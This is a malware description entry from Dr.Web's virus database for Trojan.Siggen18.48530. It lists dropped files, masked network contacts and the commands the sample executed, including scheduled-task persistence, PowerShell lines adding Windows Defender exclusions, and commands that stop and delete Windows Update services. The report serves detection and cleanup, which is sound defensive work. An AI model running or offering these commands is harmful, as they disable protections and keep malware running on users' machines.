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Trojan.Siggen18.48530

Added to the Dr.Web virus database: 2022-09-19

Virus description added:

Technical Information

To ensure autorun and distribution
Creates or modifies the following files
  • <SYSTEM32>\tasks\lsml
  • <SYSTEM32>\tasks\conhost_remc
  • <SYSTEM32>\tasks\wininit
  • <SYSTEM32>\tasks\wininitw
  • <SYSTEM32>\tasks\idlei
  • <SYSTEM32>\tasks\idle
  • <SYSTEM32>\tasks\dwm
  • <SYSTEM32>\tasks\dwmd
  • <SYSTEM32>\tasks\8_ball_pool
  • <SYSTEM32>\tasks\conhost_rem
  • <SYSTEM32>\tasks\8_ball_pool8
  • <SYSTEM32>\tasks\system
  • <SYSTEM32>\tasks\csrssc
  • <SYSTEM32>\tasks\systems
  • <SYSTEM32>\tasks\mdm
  • <SYSTEM32>\tasks\wudfhost
  • <SYSTEM32>\tasks\mdmm
  • <SYSTEM32>\tasks\wudfhostw
  • <SYSTEM32>\tasks\lsm
  • <SYSTEM32>\tasks\csrss
  • <SYSTEM32>\tasks\realtek
Creates the following files on removable media
  • <Drive name for removable media>:\0ea53df77445bfbde349bd4eed09dae1.exe
Modifies file system
Creates the following files
  • %APPDATA%\bl_fontreviewmonitordllrefsvc.exe
  • C:\far2\addons\colors\custom_highlighting\8_ball_pool.exe
  • C:\far2\addons\colors\custom_highlighting\db0090d8add07b
  • %ProgramFiles(x86)%\microsoft analysis services\as oledb\10\cartridges\wininit.exe
  • %ProgramFiles(x86)%\microsoft analysis services\as oledb\10\cartridges\56085415360792
  • %ProgramFiles%\smath\8_ball_pool.exe
  • %ProgramFiles%\smath\db0090d8add07b
  • <Current directory>\dwm.exe
  • <Current directory>\6cb0b6c459d5d3
  • C:\totalcmd\language\6ccacd8608530f
  • nul
  • C:\msocache\all users\{90140000-00ba-0409-1000-0000000ff1ce}-c\dwm.exe
  • C:\msocache\all users\{90140000-00ba-0409-1000-0000000ff1ce}-c\6cb0b6c459d5d3
  • %WINDIR%\syswow64\printing_admin_scripts\en-us\wininit.exe
  • %WINDIR%\syswow64\printing_admin_scripts\en-us\56085415360792
  • C:\users\public\libraries\conhost_rem.exe
  • C:\users\public\libraries\817712da12cb2c
  • %TEMP%\qwhhplrnhe
  • %TEMP%\elzej4sjef.bat
  • %WINDIR%\help\windows\en-us\6ccacd8608530f
  • C:\totalcmd\language\idle.exe
  • %WINDIR%\help\windows\en-us\idle.exe
  • <Current directory>\mdm.exe
  • %APPDATA%\conhost_rem.exe
  • %TEMP%\8_ball_pool.exe
  • C:\msocache\all users\{90140000-0019-0409-1000-0000000ff1ce}-c\lsm.exe
  • C:\msocache\all users\{90140000-0019-0409-1000-0000000ff1ce}-c\101b941d020240
  • C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\lsm.exe
  • C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\101b941d020240
  • C:\msocache\all users\{90140000-0044-0409-1000-0000000ff1ce}-c\wudfhost.exe
  • C:\msocache\all users\{90140000-0044-0409-1000-0000000ff1ce}-c\480b7989c529f6
  • <Current directory>\559fba5f8e4410
  • C:\msocache\all users\{90140000-0117-0409-1000-0000000ff1ce}-c\access.en-us\dwm.exe
  • %ProgramFiles(x86)%\mozilla thunderbird\dictionaries\system.exe
  • %ProgramFiles(x86)%\mozilla thunderbird\dictionaries\27d1bcfc3c54e0
  • C:\users\default\favorites\csrss.exe
  • C:\users\default\favorites\886983d96e3d3e
  • <SYSTEM32>\wfp\8_ball_pool.exe
  • <SYSTEM32>\wfp\db0090d8add07b
  • C:\totalcmd\language\8_ball_pool.exe
  • C:\totalcmd\language\db0090d8add07b
  • C:\msocache\all users\{90140000-0117-0409-1000-0000000ff1ce}-c\access.en-us\6cb0b6c459d5d3
  • %ProgramFiles%\realtek\realtek high definition audio\updater.exe
Sets the 'hidden' attribute to the following files
  • <Drive name for removable media>:\0ea53df77445bfbde349bd4eed09dae1.exe
Deletes the following files
  • %TEMP%\qwhhplrnhe
Network activity
Connects to
  • '18#.#20.229.5':80
  • 'ip##fo.io':443
TCP
HTTP GET requests
  • http://18#.#20.229.5/boot/u927/ApiDefaultdownloads.php?qT########################################################################################################################################...
  • http://18#.#20.229.5/boot/u927/ApiDefaultdownloads.php?ow########################################################################################################################################...
Other
  • 'ip##fo.io':443
UDP
  • DNS ASK ip##fo.io
  • 'localhost':123
Miscellaneous
Creates and executes the following
  • '%APPDATA%\bl_fontreviewmonitordllrefsvc.exe'
  • '%APPDATA%\conhost_rem.exe'
  • '%TEMP%\8_ball_pool.exe'
  • '%ProgramFiles%\smath\8_ball_pool.exe'
  • '%ProgramFiles%\realtek\realtek high definition audio\updater.exe'
  • '<SYSTEM32>\cmd.exe' /C "%TEMP%\ELZeJ4sjEF.bat"' (with hidden window)
  • '%ProgramFiles%\realtek\realtek high definition audio\updater.exe' ' (with hidden window)
Executes the following
  • '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-0019-0409-1000-0000000FF1CE}-C\lsm.exe'" /f
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\'
  • '<SYSTEM32>\schtasks.exe' /create /tn "conhost_remc" /sc MINUTE /mo 13 /tr "'C:\Users\Public\Libraries\conhost_rem.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "conhost_rem" /sc ONLOGON /tr "'C:\Users\Public\Libraries\conhost_rem.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "conhost_remc" /sc MINUTE /mo 5 /tr "'C:\Users\Public\Libraries\conhost_rem.exe'" /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 14 /tr "'%WINDIR%\SysWOW64\Printing_Admin_Scripts\en-US\wininit.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "wininit" /sc ONLOGON /tr "'%WINDIR%\SysWOW64\Printing_Admin_Scripts\en-US\wininit.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 14 /tr "'%WINDIR%\SysWOW64\Printing_Admin_Scripts\en-US\wininit.exe'" /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "dwm" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-1000-0000000FF1CE}-C\dwm.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\w32tm.exe' /stripchart /computer:localhost /period:5 /dataonly /samples:2
  • '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 9 /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-1000-0000000FF1CE}-C\dwm.exe'" /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "IdleI" /sc MINUTE /mo 6 /tr "'C:\totalcmd\LANGUAGE\Idle.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "Idle" /sc ONLOGON /tr "'C:\totalcmd\LANGUAGE\Idle.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "IdleI" /sc MINUTE /mo 12 /tr "'C:\totalcmd\LANGUAGE\Idle.exe'" /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 9 /tr "'<Current directory>\dwm.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "dwm" /sc ONLOGON /tr "'<Current directory>\dwm.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 8 /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-1000-0000000FF1CE}-C\dwm.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "IdleI" /sc MINUTE /mo 14 /tr "'%WINDIR%\Help\Windows\en-US\Idle.exe'" /f
  • '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  • '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /ru System /tn Realtek /tr "'%ProgramFiles%\Realtek\Realtek High Definition Audio\Updater.exe'"
  • '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  • '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
  • '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
  • '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
  • '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
  • '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 10 /tr "'<Current directory>\dwm.exe'" /f
  • '<SYSTEM32>\cmd.exe' /C "%TEMP%\ELZeJ4sjEF.bat"
  • '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
  • '<SYSTEM32>\sc.exe' stop bits
  • '<SYSTEM32>\sc.exe' stop wuauserv
  • '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
  • '<SYSTEM32>\sc.exe' stop UsoSvc
  • '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#wsjgde#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System...
  • '<SYSTEM32>\sc.exe' stop dosvc
  • '<SYSTEM32>\cmd.exe' /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentContr...
  • '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool8" /sc MINUTE /mo 14 /tr "'%ProgramFiles%\smath\8_Ball_Pool.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool" /sc ONLOGON /tr "'%ProgramFiles%\smath\8_Ball_Pool.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool8" /sc MINUTE /mo 10 /tr "'%ProgramFiles%\smath\8_Ball_Pool.exe'" /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "WUDFHostW" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-0044-0409-1000-0000000FF1CE}-C\WUDFHost.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Users\Default\Favorites\csrss.exe'" /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "SystemS" /sc MINUTE /mo 9 /tr "'%ProgramFiles(x86)%\Mozilla Thunderbird\dictionaries\System.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "System" /sc ONLOGON /tr "'%ProgramFiles(x86)%\Mozilla Thunderbird\dictionaries\System.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "SystemS" /sc MINUTE /mo 5 /tr "'%ProgramFiles(x86)%\Mozilla Thunderbird\dictionaries\System.exe'" /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "mdmm" /sc MINUTE /mo 6 /tr "'<Current directory>\mdm.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "mdm" /sc ONLOGON /tr "'<Current directory>\mdm.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#khxwt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /r...
  • '<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Users\Default\Favorites\csrss.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "WUDFHost" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0044-0409-1000-0000000FF1CE}-C\WUDFHost.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "WUDFHostW" /sc MINUTE /mo 11 /tr "'C:\MSOCache\All Users\{90140000-0044-0409-1000-0000000FF1CE}-C\WUDFHost.exe'" /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 12 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\lsm.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "lsm" /sc ONLOGON /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\lsm.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 11 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\lsm.exe'" /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "lsml" /sc MINUTE /mo 8 /tr "'C:\MSOCache\All Users\{90140000-0019-0409-1000-0000000FF1CE}-C\lsm.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "lsm" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0019-0409-1000-0000000FF1CE}-C\lsm.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "mdmm" /sc MINUTE /mo 7 /tr "'<Current directory>\mdm.exe'" /f
  • '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  • '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool8" /sc MINUTE /mo 13 /tr "'<SYSTEM32>\wfp\8_Ball_Pool.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool8" /sc MINUTE /mo 14 /tr "'<SYSTEM32>\wfp\8_Ball_Pool.exe'" /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 13 /tr "'%ProgramFiles(x86)%\Microsoft Analysis Services\AS OLEDB\10\Cartridges\wininit.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "wininit" /sc ONLOGON /tr "'%ProgramFiles(x86)%\Microsoft Analysis Services\AS OLEDB\10\Cartridges\wininit.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 6 /tr "'%ProgramFiles(x86)%\Microsoft Analysis Services\AS OLEDB\10\Cartridges\wininit.exe'" /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool8" /sc MINUTE /mo 14 /tr "'C:\Far2\Addons\Colors\Custom_Highlighting\8_Ball_Pool.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool" /sc ONLOGON /tr "'C:\Far2\Addons\Colors\Custom_Highlighting\8_Ball_Pool.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool8" /sc MINUTE /mo 5 /tr "'C:\Far2\Addons\Colors\Custom_Highlighting\8_Ball_Pool.exe'" /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool" /sc ONLOGON /tr "'<SYSTEM32>\wfp\8_Ball_Pool.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "IdleI" /sc MINUTE /mo 10 /tr "'%WINDIR%\Help\Windows\en-US\Idle.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\Default\Favorites\csrss.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 14 /tr "'C:\MSOCache\All Users\{90140000-0117-0409-1000-0000000FF1CE}-C\Access.en-us\dwm.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "dwm" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0117-0409-1000-0000000FF1CE}-C\Access.en-us\dwm.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 10 /tr "'C:\MSOCache\All Users\{90140000-0117-0409-1000-0000000FF1CE}-C\Access.en-us\dwm.exe'" /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool8" /sc MINUTE /mo 14 /tr "'C:\totalcmd\LANGUAGE\8_Ball_Pool.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool" /sc ONLOGON /tr "'C:\totalcmd\LANGUAGE\8_Ball_Pool.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "8_Ball_Pool8" /sc MINUTE /mo 6 /tr "'C:\totalcmd\LANGUAGE\8_Ball_Pool.exe'" /f
  • '<SYSTEM32>\schtasks.exe' /create /tn "Idle" /sc ONLOGON /tr "'%WINDIR%\Help\Windows\en-US\Idle.exe'" /rl HIGHEST /f
  • '<SYSTEM32>\schtasks.exe' /run /tn Realtek

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
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    • Switch off your device and turn it on as normal.

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